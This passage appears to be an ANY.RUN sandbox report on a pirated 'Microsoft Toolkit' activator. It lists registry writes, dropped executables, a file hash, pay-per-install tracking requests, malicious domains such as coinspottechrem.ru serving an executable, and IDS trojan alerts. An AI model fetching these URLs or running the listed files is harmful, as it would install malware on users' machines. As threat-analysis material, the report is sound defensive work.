Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(1368) Setup activation.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(1368) Setup activation.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Setup activation_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
Executable files
104
Suspicious files
44
Text files
298
Unknown types
53

Dropped files

PID
Process
Filename
Type
3796ic-0.8edb06b26617b.exeC:\Users\admin\AppData\Local\Temp\$inst\temp_0.tmp —
MD5:—
SHA256:—
856svchost.exeC:\Windows\System32\Tasks\PPI Updatexml
MD5:—
SHA256:—
856svchost.exeC:\Windows\appcompat\programs\RecentFileCache.bcftxt
MD5:—
SHA256:—
1368Setup activation.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QVXW39X5\progress_bar[1].gifimage
MD5:—
SHA256:—
1368Setup activation.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JZR4RKAB\normal_bg4[1].pngimage
MD5:—
SHA256:—
3796ic-0.8edb06b26617b.exeC:\Program Files\ytSetupEU\ytSetupEU\2.exeexecutable
MD5:—
SHA256:—
1368Setup activation.exeC:\Users\admin\AppData\Local\Temp\1381078\ic-0.8edb06b26617b.exeexecutable
MD5:—
SHA256:—
3796ic-0.8edb06b26617b.exeC:\Program Files\ytSetupEU\ytSetupEU\1.exeexecutable
MD5:—
SHA256:—
3796ic-0.8edb06b26617b.exeC:\Program Files\ytSetupEU\ytSetupEU\Uninstall.exeexecutable
MD5:—
SHA256:—
4016Microsoft Toolkit Final.exeC:\Users\admin\AppData\Local\Temp\gentee72\guig.dllexecutable
MD5:D3F8C0334C19198A109E44D074DAC5FD
SHA256:005C251C21D6A5BA1C3281E7B9F3B4F684D007E0C3486B34A545BB370D8420AA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
174
TCP/UDP connections
208
DNS requests
80
Threats
116

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
54.88.21.193:80
http://kiss.oatmealscene.loan/report.php?typ=sys&affId=3182&instId=3937&ho_transId=HO3304856555aca7a864c00b&transId=330485655&chk_s_b=&chk_s_v=DELL%20%20-%201&chk_c_ma=DELL&chk_c_mo=DELL&chk_mac=52:54:00:4A:AD:2120:41:53:59:4E:FF&randid=0.7660604786444787
US
—
—
whitelisted
—
—
GET
200
54.88.21.193:80
http://kiss.oatmealscene.loan/report.php?typ=3rd_party&transId=330485655&affId=3182&instId=3937&ho_transId=HO3304856555aca7a864c00b&s1=&s2=&s3=&s4=LP_DEF&s5=1231587843&cid=5d979308c3b6ea5ad7e984e628c8cac1&uac=true&randid=0.6511380581856121
US
—
—
whitelisted
—
—
GET
200
54.88.21.193:80
http://kiss.oatmealscene.loan/report.php?typ=execution&transId=330485655&affId=3182&instId=3937&ho_transId=HO3304856555aca7a864c00b&s1=&s2=&s3=&s4=LP_DEF&s5=1231587843&cid=5d979308c3b6ea5ad7e984e628c8cac1&uac=true&randid=0.17339166667495487&offerId=658
US
—
—
whitelisted
—
—
GET
200
54.88.21.193:80
http://kiss.oatmealscene.loan/report.php?typ=download&transId=330485655&affId=3182&instId=3937&ho_transId=HO3304856555aca7a864c00b&s1=&s2=&s3=&s4=LP_DEF&s5=1231587843&cid=5d979308c3b6ea5ad7e984e628c8cac1&uac=true&randid=0.508807784860289&offerId=668
US
—
—
whitelisted
—
—
GET
304
2.16.186.56:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
unknown
—
—
whitelisted
—
—
POST
200
54.88.21.193:80
http://kiss.oatmealscene.loan/installer.php?affId=3182&instId=3937&ho_trackingid=HO3304856555aca7a864c00b&trackingId=330485655&cc=NO&untracked=&uac=1&osd=185&net=4.6.01055&cid=5d979308c3b6ea5ad7e984e628c8cac1&v=3
US
binary
44.8 Kb
whitelisted
—
—
GET
200
216.137.61.131:80
http://d2adi7hu49xk5t.cloudfront.net/normal_bg4.png
US
image
62.3 Kb
shared
—
—
GET
200
217.107.34.121:80
http://coinspottechrem.ru/lmon/ytSetupEU.exe
RU
executable
4.16 Mb
malicious
—
—
GET
200
216.137.61.131:80
http://d2adi7hu49xk5t.cloudfront.net/progress_bar.gif
US
image
36.5 Kb
shared
—
—
GET
200
216.137.61.123:80
http://lip.healthcakes.men/offer.php?affId=3182&trackingId=330485655&instId=3937&ho_trackingid=HO330485655&cc=LK&sb=x86&wv=7sp1&db=InternetExplorer&uac=1&cid=5d979308c3b6ea5ad7e984e628c8cac1&v=3&net=4.6.01055&ie=8%2e0%2e7601%2e17514&res=1280x720&osd=185
US
binary
1.61 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
151.139.242.26:80
sirnightthousandru-jv74zlgv9zcfr1llj.stackpathdns.com
netDNA
US
unknown
—
—
185.51.247.169:443
istats.club
ITL Company
UA
suspicious
—
—
46.161.54.90:80
zhaboran.ru
myLoc managed IT AG
RU
unknown
—
—
192.35.177.64:80
apps.identrust.com
IdenTrust
US
malicious
—
—
88.99.66.31:443
iplogger.com
Hetzner Online GmbH
DE
malicious
—
—
178.255.83.1:80
ocsp.usertrust.com
CCANET Limited
GB
unknown
—
—
188.166.151.208:80
g.embokhay.ru
Digital Ocean, Inc.
GB
malicious
—
—
2.16.186.56:80
www.download.windowsupdate.com
Akamai International B.V.
—
whitelisted
—
—
5.101.1.61:80
suzzygirl.ga
Petersburg Internet Network ltd.
RU
suspicious
—
—
207.246.124.146:80
api.ppi-api.com
—
US
malicious

DNS requests

Domain
IP
Reputation
lip.healthcakes.men
  • 216.137.61.123
  • 216.137.61.98
  • 216.137.61.82
  • 216.137.61.142
  • 216.137.61.252
  • 216.137.61.145
  • 216.137.61.176
  • 216.137.61.211
whitelisted
kiss.oatmealscene.loan
  • 54.88.21.193
unknown
d2adi7hu49xk5t.cloudfront.net
  • 216.137.61.131
  • 216.137.61.22
  • 216.137.61.97
  • 216.137.61.210
  • 216.137.61.175
  • 216.137.61.171
  • 216.137.61.209
  • 216.137.61.5
shared
coinspottechrem.ru
  • 217.107.34.121
malicious
down.dollar2018.com
  • 208.167.239.202
malicious
shudderdestroy.ru
  • 178.62.64.61
unknown
zhaboran.ru
  • 46.161.54.90
unknown
sirnightthousandru-jv74zlgv9zcfr1llj.stackpathdns.com
  • 151.139.242.26
unknown
istats.club
  • 185.51.247.169
unknown
apps.identrust.com
  • 192.35.177.64
shared

Threats

PID
Process
Class
Message
—
—
A Network Trojan was detected
ET MALWARE PPI User-Agent (InstallCapital)
—
—
A Network Trojan was detected
ET MALWARE PPI User-Agent (InstallCapital)
—
—
A Network Trojan was detected
ET MALWARE PPI User-Agent (InstallCapital)
—
—
A Network Trojan was detected
ET MALWARE PPI User-Agent (InstallCapital)
—
—
A Network Trojan was detected
ET MALWARE PPI User-Agent (InstallCapital)
—
—
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
—
—
A Network Trojan was detected
ET MALWARE PPI User-Agent (InstallCapital)
—
—
A Network Trojan was detected
ET MALWARE PPI User-Agent (InstallCapital)
—
—
A Network Trojan was detected
ET MALWARE PPI User-Agent (InstallCapital)
—
—
A Network Trojan was detected
ET MALWARE PPI User-Agent (InstallCapital)
Process
Message
ic-0.771a9c1f5b25cc.tmp
ic-0.771a9c1f5b25cc.tmp
MailRuUpdater.exe
RunAsService: Entry
linker.exe
this is at
girafe.exe
this is at
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Microsoft Toolkit Final.exe